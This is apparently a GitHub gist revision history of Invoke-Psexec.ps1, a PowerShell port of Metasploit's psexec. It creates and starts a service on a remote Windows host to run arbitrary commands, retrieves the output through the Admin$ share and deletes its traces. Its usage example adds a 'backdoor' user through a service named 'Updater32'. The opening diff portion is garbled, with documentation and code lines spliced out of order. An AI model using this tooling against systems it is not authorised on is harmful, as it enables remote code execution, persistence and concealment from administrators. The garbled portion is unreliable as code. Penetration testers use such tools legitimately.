    $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService
    $DeleteServiceDelegate = Get-DelegateType @( [Int] ) ([Int])
    $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate)

    $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError
    $GetLastErrorDelegate = Get-DelegateType @() ([Int])
    $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)

    # Step 1 - OpenSCManager()
    # 0xF003F = SC_MANAGER_ALL_ACCESS
    # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
    "[*] Opening service manager"
    $ManagerHandle = $OpenSCManagerA.Invoke("\\$HostName", "ServicesActive", 0xF003F)
    Write-Verbose "[*] Service manager handle: $ManagerHandle"

    # if we get a non-zero handle back, everything was successful
    if ($ManagerHandle -and ($ManagerHandle -ne 0)){

    # Step 2 - CreateService()
    # 0xF003F = SC_MANAGER_ALL_ACCESS
    # 0x10 = SERVICE_WIN32_OWN_PROCESS
    # 0x3 = SERVICE_DEMAND_START
    # 0x1 = SERVICE_ERROR_NORMAL
    "[*] Creating new service: '$ServiceName'"
    $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
    Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle"

    if ($ServiceHandle -and ($ServiceHandle -ne 0)){

    Write-Verbose "[*] Service successfully created"

    # Step 3 - CloseServiceHandle() for the service handle
    "[*] Closing service handle"
    $t = $CloseServiceHandle.Invoke($ServiceHandle)

    # Step 4 - OpenService()
    "[*] Opening the service '$ServiceName'"
    $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
    Write-Verbose "[*] OpenServiceA handle: $ServiceHandle"

    if ($ServiceHandle -and ($ServiceHandle -ne 0)){

    # Step 5 - StartService()
    "[*] Starting the service"
    $val = $StartServiceA.Invoke($ServiceHandle, $null, $null)

    # if we successfully started the service, let it breathe and then delete it
    if ($val -ne 0){
    Write-Verbose "[*] Service successfully started"
    # breathe for a second
    Start-Sleep -s 1
    }
    else{
    Write-Warning "[!] StartService failed, LastError: $err"
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    if ($err -eq 1053){
    Write-Warning "[*] Command didn't respond to start"
    }
    else{
    Write-Warning "[!] StartService failed, LastError: $err"
    }
    # breathe for a second
    Start-Sleep -s 1
    }
    # breathe for a second
    Start-Sleep -s 1
    }

    # start cleanup
    # start cleanup
    # Step 6 - DeleteService()
    "[*] Deleting the service '$ServiceName'"
    $val = $DeleteService.invoke($ServiceHandle)

    if ($val -eq 0){
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    Write-Warning "[!] DeleteService failed, LastError: $err"
    }
    else{
    Write-Verbose "[*] Service successfully deleted"
    }

    # Step 7 - CloseServiceHandle() for the service handle
    "[*] Closing the service handle"
    $val = $CloseServiceHandle.Invoke($ServiceHandle)
    Write-Verbose "[*] Service handle closed off"

    # Step 6 - DeleteService()
    "[*] Deleting the service '$ServiceName'"
    $val = $DeleteService.invoke($ServiceHandle)

    if ($val -eq 0){
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    Write-Warning "[!] DeleteService failed, LastError: $err"
    }
    else{
    Write-Verbose "[*] Service successfully deleted"
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    Write-Warning "[!] OpenServiceA failed, LastError: $err"
    }

    # Step 7 - CloseServiceHandle() for the service handle
    "[*] Closing the service handle"
    $val = $CloseServiceHandle.Invoke($ServiceHandle)
    Write-Verbose "[*] Service handle closed off"

    }

    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    Write-Warning "[!] OpenServiceA failed, LastError: $err"
    Write-Warning "[!] CreateService failed, LastError: $err"
    }
    }

    # final cleanup - close off the manager handle
    "[*] Closing the manager handle"
    $t = $CloseServiceHandle.Invoke($ManagerHandle)
    }
    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    Write-Warning "[!] CreateService failed, LastError: $err"
    Write-Warning "[!] OpenSCManager failed, LastError: $err"
    }

    # final cleanup - close off the manager handle
    "[*] Closing the manager handle"
    $t = $CloseServiceHandle.Invoke($ManagerHandle)
    }
    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    Write-Warning "[!] OpenSCManager failed, LastError: $err"
    }
    }

    if ($Command -and ($Command -ne "")) {

    function Invoke-PsexecResults {
    <#
    .SYNOPSIS
    This function utilizes Invoke-Psexec to execute a command on a remote
    system using the service handler with the results redirected to a temporary
    text file, retrieves the text file and then cleans everything up.
    Adapted from MSF's version (see links).
    Author: @harmj0y
    License: BSD 3-Clause
    if ($ResultFile -and ($ResultFile -ne "")) {
    # if we want to retrieve results from the invoked command

    .PARAMETER HostName
    Hostname to run the command on.
    # randomized temp files
    $TempText = $(Get-RandomString) + ".txt"
    $TempBat = $(Get-RandomString) + ".bat"

    .PARAMETER Command
    Binary path (or Windows command) to execute.
    # command to invoke to pipe to temp output files
    $cmd = "%COMSPEC% /C echo $Command ^> %systemroot%\Temp\$TempText > %systemroot%\Temp\$TempBat & %COMSPEC% /C start %COMSPEC% /C %systemroot%\Temp\$TempBat"

    .PARAMETER ServiceName
    The name of the service to create, defaults to "TestSVC"
    Write-Verbose "PsEexec results command: $cmd"

    .PARAMETER ResultFile
    Name of the file to write the results to locally, defaults to
    copying in the temporary result file to the local location
    .EXAMPLE
    > Invoke-PsexecResults -HostName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt"
    # invoke the command specified
    "[*] Executing command and retrieving results: '$Command'"
    Invoke-PsExecCmd -HostName $HostName -Command $cmd -ServiceName $ServiceName

    Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32',
    and copies the result file to "results.txt" on the local path.
    # retrieve the result file for the command
    $RemoteResultFile = "\\$HostName\Admin$\Temp\$TempText"
    "[*] Copying result file $RemoteResultFile to '$ResultFile'"
    Copy-Item -Force -Path $RemoteResultFile -Destination $ResultFile

    # clean up the .txt and .bat files
    Write-Verbose "[*] Removing $RemoteResultFile"
    Remove-Item -Force $RemoteResultFile

    .LINK
    https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
    https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb
    Write-Verbose "[*] Removing \\$HostName\Admin$\Temp\$TempBat"
    Remove-Item -Force "\\$HostName\Admin$\Temp\$TempBat"
    }

    #>
    else {
    # if we're executing a plain command w/o needing results
    "[*] Executing command: '$Command'"
    Invoke-PsExecCmd -HostName $HostName -Command $Command -ServiceName $ServiceName
    }

    [CmdletBinding()]
    param(
    [Parameter(Mandatory = $True)]
    [string]
    $HostName,
    }

    [Parameter(Mandatory = $True)]
    [string]
    $Command,
    elseif ($ServiceEXE -and ($ServiceEXE -ne "")) {
    # if we're using a custom .EXE for the PsExec call

    [string]
    $ServiceName = "TestSVC",
    # upload the local service .EXE to the remote host
    $RemoteUploadPath = "\\$HostName\Admin$\"
    "[*] Copying service binary $ServiceEXE to '$RemoteUploadPath'"
    Copy-Item -Force -Path $ServiceEXE -Destination $RemoteUploadPath

    [string]
    $ResultFile = "."
    )
    if(-not $NoCleanup) {
    # trigger the remote executable and cleanup after
    "[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and cleaning up."
    Invoke-PsExecCmd -HostName $HostName -Command $RemoteUploadPath -ServiceName $ServiceName

    # http://stackingcode.com/blog/2011/10/27/quick-random-string
    function Local:Get-RandomString
    {
    param (
    [int]$Length = 12
    )
    $set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray()
    $result = ""
    for ($x = 0; $x -lt $Length; $x++) {
    $result += $set | Get-Random
    # remove the remote service .EXE
    "[*] Removing the remote service .EXE '$RemoteUploadPath'"
    Remove-Item -Path $RemoteUploadPath -Force
    }
    else {
    # upload/register the executable and don't clean up
    "[*] Executing service .EXE '$RemoteUploadPath' as service '$ServiceName' and not cleaning up."
    Invoke-PsExecCmd -HostName $HostName -Command $RemoteUploadPath -ServiceName $ServiceName -NoCleanup
    }
    $result
    }

    # $TempText = "temp.txt"
    $TempText = $(Get-RandomString) + ".txt"
    # $TempBat = "temp.bat"
    $TempBat = $(Get-RandomString) + ".bat"

    $cmd = "%COMSPEC% /C echo $Command ^> %systemroot%\Temp\$TempText > %systemroot%\Temp\$TempBat & %COMSPEC% /C start %COMSPEC% /C %systemroot%\Temp\$TempBat"

    Write-Verbose "Command: $cmd"

    # invoke the command specified
    "[*] Executing command: '$Command'"
    Invoke-Psexec -HostName $HostName -Command $cmd -ServiceName $ServiceName

    # retrieve the result file for the command
    $RemoteResultFile = "\\$HostName\Admin$\Temp\$TempText"
    "[*] Copying result file $RemoteResultFile to '$ResultFile'"
    Copy-Item -Path $RemoteResultFile -Destination $ResultFile

    # clean up the .txt and .bat files
    Write-Verbose "[*] Removing $RemoteResultFile"
    Remove-Item $RemoteResultFile
    else {
    # error catching
    Write-Warning "'-Command' or '-ServiceEXE' must be specified."
    }

    Write-Verbose "[*] Removing \\$HostName\Admin$\Temp\$TempBat"
    Remove-Item "\\$HostName\Admin$\Temp\$TempBat"
    }
  8. @HarmJ0y HarmJ0y revised this gist Aug 13, 2015. 1 changed file with 10 additions and 7 deletions.
    17 changes: 10 additions & 7 deletions Invoke-Psexec.ps1
    Original file line number Diff line number Diff line change
    @@ -28,18 +28,21 @@ function Invoke-Psexec {
    .LINK
    https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
    https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb
    #>

    [CmdletBinding()]
    param(
    [Parameter(Mandatory = $True)]
    [string]$HostName,
    [string]
    $HostName,

    [Parameter(Mandatory = $True)]
    [string]$Command,
    [string]
    $Command,

    [string]$ServiceName = "TestSVC"
    [string]
    $ServiceName = "TestSVC"
    )

    # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
    @@ -183,7 +186,7 @@ function Invoke-Psexec {
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    if ($err -eq 1053){
    Write-Verbose "[*] Command didn't respond to start"
    Write-Warning "[*] Command didn't respond to start"
    }
    else{
    Write-Warning "[!] StartService failed, LastError: $err"
    @@ -324,9 +327,9 @@ function Invoke-PsexecResults {
    Copy-Item -Path $RemoteResultFile -Destination $ResultFile

    # clean up the .txt and .bat files
    "[*] Removing $RemoteResultFile"
    Write-Verbose "[*] Removing $RemoteResultFile"
    Remove-Item $RemoteResultFile

    "[*] Removing \\$HostName\Admin$\Temp\$TempBat"
    Write-Verbose "[*] Removing \\$HostName\Admin$\Temp\$TempBat"
    Remove-Item "\\$HostName\Admin$\Temp\$TempBat"
    }
  9. @HarmJ0y HarmJ0y revised this gist Aug 13, 2015. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions Invoke-Psexec.ps1
    Original file line number Diff line number Diff line change
    @@ -27,7 +27,7 @@ function Invoke-Psexec {
    .LINK
    https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
    https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
    https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb
    #>

    @@ -270,7 +270,7 @@ function Invoke-PsexecResults {
    .LINK
    https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
    https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
    https://github.com/rapid7/metasploit-framework/blob/master/tools/psexec.rb
    #>

  10. @HarmJ0y HarmJ0y created this gist Aug 13, 2015.
    332 changes: 332 additions & 0 deletions Invoke-Psexec.ps1
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,332 @@
    function Invoke-Psexec {
    <#
    .SYNOPSIS
    This function is a rough port of Metasploit's psexec functionality.
    It utilizes Windows API calls to open up the service manager on
    a remote machine, creates/run a service with an associated binary
    path or command, and then cleans everything up.
    Adapted from MSF's version (see links).
    Author: @harmj0y
    License: BSD 3-Clause
    .PARAMETER HostName
    Hostname to run the command on.
    .PARAMETER Command
    Binary path (or Windows command) to execute.
    .PARAMETER ServiceName
    The name of the service to create, defaults to "TestSVC"
    .EXAMPLE
    > Invoke-Psexec -HostName 192.168.50.200 -Command "net user backdoor password123 /add" -ServiceName Updater32
    Creates a user named backdoor on the 192.168.50.200 host, with the
    temporary service being named 'Updater32'
    .LINK
    https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
    https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
    #>

    [CmdletBinding()]
    param(
    [Parameter(Mandatory = $True)]
    [string]$HostName,

    [Parameter(Mandatory = $True)]
    [string]$Command,

    [string]$ServiceName = "TestSVC"
    )

    # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
    function Local:Get-DelegateType
    {
    Param
    (
    [OutputType([Type])]

    [Parameter( Position = 0)]
    [Type[]]
    $Parameters = (New-Object Type[](0)),

    [Parameter( Position = 1 )]
    [Type]
    $ReturnType = [Void]
    )

    $Domain = [AppDomain]::CurrentDomain
    $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
    $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
    $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
    $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
    $MethodBuilder.SetImplementationFlags('Runtime, Managed')

    Write-Output $TypeBuilder.CreateType()
    }


    # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
    function Local:Get-ProcAddress
    {
    Param
    (
    [OutputType([IntPtr])]

    [Parameter( Position = 0, Mandatory = $True )]
    [String]
    $Module,

    [Parameter( Position = 1, Mandatory = $True )]
    [String]
    $Procedure
    )

    # Get a reference to System.dll in the GAC
    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
    $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
    # Get a reference to the GetModuleHandle and GetProcAddress methods
    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
    # Get a handle to the module specified
    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
    $tmpPtr = New-Object IntPtr
    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)

    # Return the address of the function
    Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
    }


    # Declare/setup all the needed API function
    # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
    $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
    $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
    $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)

    $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
    $OpenSCManagerADelegate = Get-DelegateType @( [string], [string], [Int]) ([IntPtr])
    $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate)

    $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
    $OpenServiceADelegate = Get-DelegateType @( [Int], [String], [Int]) ([Int])
    $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate)

    $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
    $CreateServiceADelegate = Get-DelegateType @( [Int], [string], [string], [Int], [Int], [Int], [Int], [string], [string], [Int], [Int], [Int], [Int]) ([IntPtr])
    $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate)

    $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA
    $StartServiceADelegate = Get-DelegateType @( [Int], [Int], [Int]) ([Int])
    $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate)

    $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService
    $DeleteServiceDelegate = Get-DelegateType @( [Int] ) ([Int])
    $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate)

    $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError
    $GetLastErrorDelegate = Get-DelegateType @() ([Int])
    $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)

    # Step 1 - OpenSCManager()
    # 0xF003F = SC_MANAGER_ALL_ACCESS
    # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
    "[*] Opening service manager"
    $ManagerHandle = $OpenSCManagerA.Invoke("\\$HostName", "ServicesActive", 0xF003F)
    Write-Verbose "[*] Service manager handle: $ManagerHandle"

    # if we get a non-zero handle back, everything was successful
    if ($ManagerHandle -ne 0){

    # Step 2 - CreateService()
    # 0xF003F = SC_MANAGER_ALL_ACCESS
    # 0x10 = SERVICE_WIN32_OWN_PROCESS
    # 0x3 = SERVICE_DEMAND_START
    # 0x1 = SERVICE_ERROR_NORMAL
    "[*] Creating new service: '$ServiceName'"
    $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null)
    Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle"

    if ($ServiceHandle -ne 0){

    Write-Verbose "[*] Service successfully created"

    # Step 3 - CloseServiceHandle() for the service handle
    "[*] Closing service handle"
    $t = $CloseServiceHandle.Invoke($ServiceHandle)

    # Step 4 - OpenService()
    "[*] Opening the service '$ServiceName'"
    $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F)
    Write-Verbose "[*] OpenServiceA handle: $ServiceHandle"

    if ($ServiceHandle -ne 0){

    # Step 5 - StartService()
    "[*] Starting the service"
    $val = $StartServiceA.Invoke($ServiceHandle, $null, $null)

    # if we successfully started the service, let it breathe and then delete it
    if ($val -ne 0){
    Write-Verbose "[*] Service successfully started"
    # breathe for a second
    Start-Sleep -s 1
    }
    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    if ($err -eq 1053){
    Write-Verbose "[*] Command didn't respond to start"
    }
    else{
    Write-Warning "[!] StartService failed, LastError: $err"
    }
    # breathe for a second
    Start-Sleep -s 1
    }

    # start cleanup

    # Step 6 - DeleteService()
    "[*] Deleting the service '$ServiceName'"
    $val = $DeleteService.invoke($ServiceHandle)

    if ($val -eq 0){
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    Write-Warning "[!] DeleteService failed, LastError: $err"
    }
    else{
    Write-Verbose "[*] Service successfully deleted"
    }

    # Step 7 - CloseServiceHandle() for the service handle
    "[*] Closing the service handle"
    $val = $CloseServiceHandle.Invoke($ServiceHandle)
    Write-Verbose "[*] Service handle closed off"

    }
    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    Write-Warning "[!] OpenServiceA failed, LastError: $err"
    }
    }

    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    Write-Warning "[!] CreateService failed, LastError: $err"
    }

    # final cleanup - close off the manager handle
    "[*] Closing the manager handle"
    $t = $CloseServiceHandle.Invoke($ManagerHandle)
    }
    else{
    # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx
    $err = $GetLastError.Invoke()
    Write-Warning "[!] OpenSCManager failed, LastError: $err"
    }
    }


    function Invoke-PsexecResults {
    <#
    .SYNOPSIS
    This function utilizes Invoke-Psexec to execute a command on a remote
    system using the service handler with the results redirected to a temporary
    text file, retrieves the text file and then cleans everything up.
    Adapted from MSF's version (see links).
    Author: @harmj0y
    License: BSD 3-Clause
    .PARAMETER HostName
    Hostname to run the command on.
    .PARAMETER Command
    Binary path (or Windows command) to execute.
    .PARAMETER ServiceName
    The name of the service to create, defaults to "TestSVC"
    .PARAMETER ResultFile
    Name of the file to write the results to locally, defaults to
    copying in the temporary result file to the local location
    .EXAMPLE
    > Invoke-PsexecResults -HostName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt"
    Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32',
    and copies the result file to "results.txt" on the local path.
    .LINK
    https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
    https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb
    #>

    [CmdletBinding()]
    param(
    [Parameter(Mandatory = $True)]
    [string]
    $HostName,

    [Parameter(Mandatory = $True)]
    [string]
    $Command,

    [string]
    $ServiceName = "TestSVC",

    [string]
    $ResultFile = "."
    )

    # http://stackingcode.com/blog/2011/10/27/quick-random-string
    function Local:Get-RandomString
    {
    param (
    [int]$Length = 12
    )
    $set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray()
    $result = ""
    for ($x = 0; $x -lt $Length; $x++) {
    $result += $set | Get-Random
    }
    $result
    }

    # $TempText = "temp.txt"
    $TempText = $(Get-RandomString) + ".txt"
    # $TempBat = "temp.bat"
    $TempBat = $(Get-RandomString) + ".bat"

    $cmd = "%COMSPEC% /C echo $Command ^> %systemroot%\Temp\$TempText > %systemroot%\Temp\$TempBat & %COMSPEC% /C start %COMSPEC% /C %systemroot%\Temp\$TempBat"

    Write-Verbose "Command: $cmd"

    # invoke the command specified
    "[*] Executing command: '$Command'"
    Invoke-Psexec -HostName $HostName -Command $cmd -ServiceName $ServiceName

    # retrieve the result file for the command
    $RemoteResultFile = "\\$HostName\Admin$\Temp\$TempText"
    "[*] Copying result file $RemoteResultFile to '$ResultFile'"
    Copy-Item -Path $RemoteResultFile -Destination $ResultFile

    # clean up the .txt and .bat files
    "[*] Removing $RemoteResultFile"
    Remove-Item $RemoteResultFile

    "[*] Removing \\$HostName\Admin$\Temp\$TempBat"
    Remove-Item "\\$HostName\Admin$\Temp\$TempBat"
    }